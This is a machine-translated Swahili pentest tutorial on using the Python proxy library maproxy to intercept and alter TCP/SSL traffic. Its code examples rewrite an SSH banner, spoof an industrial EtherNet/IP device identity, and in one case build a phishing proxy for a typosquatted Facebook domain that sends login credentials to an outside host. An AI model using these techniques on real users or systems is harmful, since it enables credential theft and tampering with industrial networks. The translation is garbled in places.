Mchakato wa data ya mtandao kwa kuruka

Tafsiri ya kifungu hicho ilitayarishwa usiku wa kuamkia kozi hiyo "Pentest. Mazoezi ya kupima kupenya".

Mchakato wa data ya mtandao kwa kuruka

Ujumbe

Aina mbalimbali za tathmini za usalama, kuanzia majaribio ya mara kwa mara ya kupenya na uendeshaji wa Timu Nyekundu hadi udukuzi wa vifaa vya IoT/ICS na SCADA, huhusisha kufanya kazi na itifaki za mtandao wa binary, yaani, kunasa na kurekebisha data ya mtandao kati ya mteja na mlengwa. Kunusa trafiki ya mtandao sio kazi ngumu kwa kuwa tuna zana kama Wireshark, Tcpdump au Scapy, lakini urekebishaji unaonekana kuwa kazi kubwa zaidi kwani tutahitaji kuwa na aina fulani ya kiolesura ili kusoma data ya mtandao, kuichuja, kubadilisha. it on the fly and irejeshe kwa mwenyeji lengwa karibu muda halisi. Kwa kuongezea, itakuwa bora ikiwa zana kama hiyo inaweza kufanya kazi kiotomatiki na viunganisho vingi sambamba na kubinafsishwa kwa kutumia hati.

Siku moja niligundua chombo kinachoitwa maproxy, hati haraka zilinionyesha wazi kuwa maproxy - kile tu ninachohitaji. Hii ni proksi ya TCP iliyo rahisi sana, yenye matumizi mengi na inayoweza kusanidiwa kwa urahisi. Nilijaribu zana hii kwenye programu kadhaa ngumu, pamoja na vifaa vya ICS (ambavyo hutoa pakiti nyingi) ili kuona ikiwa inaweza kushughulikia miunganisho mingi inayofanana, na zana ilifanya kazi vizuri.

Makala hii itakujulisha kuchakata data ya mtandao kwenye nzi kwa kutumia maproxy.

Pitia

Chombo maproxy inategemea Tornado, mfumo maarufu na uliokomaa wa mtandao wa Python.

Kwa ujumla, inaweza kufanya kazi kwa njia kadhaa:

  • TCP:TCP - miunganisho ya TCP ambayo haijasimbwa;
  • TCP:SSL ΠΈ SSL:TCP - kwa usimbaji fiche wa njia moja;
  • SSL:SSL - usimbaji fiche wa njia mbili.

Inakuja kama maktaba. Kwa kuanza haraka, unaweza kutumia faili za mfano zinazoonyesha kuu kazi za maktaba:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Kesi ya 1 - wakala rahisi wa maelekezo mawili

Kulingana na tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

By default ProxyServer() inachukua hoja mbili - eneo la uunganisho na bandari inayolengwa. server.listen() inachukua hoja moja - bandari ya kusikiliza muunganisho unaoingia.

Utekelezaji wa hati:

# python tcp2tcp.py

Ili kufanya jaribio, tutaunganisha kwa seva ya ndani ya SSH kupitia hati yetu ya wakala, ambayo inasikiza 2222/tcp bandari na kuunganisha kwenye bandari ya kawaida 22/tcp Seva za SSH:

Mchakato wa data ya mtandao kwa kuruka

Bango la kukaribisha linakufahamisha kwamba hati yetu ya mfano imefaulu kuweka seva mbadala ya trafiki ya mtandao.

Kesi 2 - marekebisho ya data

Hati nyingine ya onyesho logging_proxy.py bora kwa kuingiliana na data ya mtandao. Maoni kwenye faili yanaelezea mbinu za darasa ambazo unaweza kurekebisha ili kufikia lengo lako:

Mchakato wa data ya mtandao kwa kuruka

Jambo la kuvutia zaidi liko hapa:

  • on_c2p_done_read - kuingilia data njiani kutoka kwa mteja hadi kwa seva;
  • on_p2s_done_read - kinyume.

Wacha tujaribu kubadilisha bendera ya SSH ambayo seva inarudi kwa mteja:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Tekeleza hati:

Mchakato wa data ya mtandao kwa kuruka

Kama unavyoona, mteja alipotoshwa kwa sababu jina la seva yake ya SSH lilibadilishwa kuwa Β«DumnySSHΒ».

Mchakato wa data ya mtandao kwa kuruka

Kesi ya 3 - ukurasa rahisi wa wavuti wa kuhadaa ili kupata maelezo ya kibinafsi

Kuna njia zisizo na mwisho za kutumia chombo hiki. Wakati huu tuangazie jambo la vitendo zaidi kutoka upande wa Operesheni wa Timu Nyekundu. Hebu tuige ukurasa wa kutua m.facebook.com na utumie kikoa maalum na chapa ya kimakusudi, kwa mfano, m.facebok.com. Kwa madhumuni ya onyesho, hebu tuchukulie kuwa kikoa kimesajiliwa nasi.

Tutaanzisha muunganisho wa mtandao ambao haujasimbwa na wakala wetu wa wahasiriwa na Utiririshaji wa SSL kwa seva ya Facebook (31.13.81.36) Ili kufanya mfano huu ufanye kazi, tunahitaji kubadilisha kichwa cha mwenyeji wa HTTP na kuingiza jina sahihi la mpangishaji, na pia tutazima ukandamizaji wa majibu ili tuweze kufikia yaliyomo kwa urahisi. Hatimaye tutachukua nafasi ya fomu ya HTML ili vitambulisho vya kuingia vitatumwe kwetu badala ya seva za Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/sw/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Mwishowe:

Mchakato wa data ya mtandao kwa kuruka

Kama unavyoona, tulifaulu kubadilisha tovuti asili.

Kesi ya 4 - Kuweka Ethernet/IP

Nimekuwa nikishughulika na vifaa na programu za viwandani (ICS/SCADA) kwa muda mrefu, kama vile vidhibiti vinavyoweza kupangwa (PLC), moduli za I/O, viendeshi, relay, mazingira ya upangaji wa ngazi na mengi zaidi. Kesi hii ni kwa wale wanaopenda mambo ya viwanda. Kuvinjari suluhu kama hizo kunahusisha kucheza kikamilifu na itifaki za mtandao. Katika mfano ufuatao, ningependa kuonyesha jinsi unavyoweza kurekebisha trafiki ya mtandao wa ICS/SCADA.

Kwa hili utahitaji zifuatazo:

  • Mtandao wa sniffer, kwa mfano, Wireshark;
  • Ethernet/IP au kifaa cha SIP tu, unaweza kuipata kwa kutumia huduma ya Shodan;
  • Hati yetu inategemea maproxy.

Kwanza, hebu tuangalie jinsi jibu la kawaida la kitambulisho kutoka kwa CIP (Itifaki ya Kawaida ya Viwanda) inaonekana kama:

Mchakato wa data ya mtandao kwa kuruka

Kitambulisho cha kifaa hutekelezwa kwa kutumia itifaki ya Ethaneti/IP, ambayo ni toleo lililoboreshwa la itifaki ya Ethernet ya viwanda ambayo hufunika itifaki za udhibiti kama vile CIP. Tutabadilisha jina la kitambulisho lililoangaziwa ambalo linaonekana kwenye picha ya skrini "NI-IndComm kwa Ethernet" kwa kutumia hati yetu ya wakala. Tunaweza kutumia tena hati logging_proxy.py na vivyo hivyo kurekebisha njia ya darasa on_p2s_done_read, kwa sababu tunataka jina tofauti la utambulisho lionekane kwa mteja.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Kimsingi, tuliomba kitambulisho cha kifaa mara mbili, jibu la pili lilikuwa la asili, na la kwanza lilirekebishwa kwa kuruka.

Na ya mwisho

Kwa maoni yangu maproxy Chombo rahisi na rahisi, ambacho pia kimeandikwa katika Python, kwa hivyo ninaamini kuwa wewe pia unaweza kufaidika kwa kuitumia. Bila shaka, kuna zana ngumu zaidi za usindikaji na kurekebisha data ya mtandao, lakini pia zinahitaji uangalifu zaidi na kwa kawaida huundwa kwa kesi maalum ya matumizi, k.m. Muraena, Modlishka au evilginx kwa kesi sawa na ya tatu, au canape kwa kesi ya mwisho. Njia moja au nyingine, kwa msaada maproxy unaweza haraka kutekeleza mawazo yako kwa ajili ya kukatiza data mtandao, kwa vile scripts mfano ni wazi sana.

Kujaribu mbinu za uthibitishaji katika Windows AD

Chanzo: mapenzi.com

Kuongeza maoni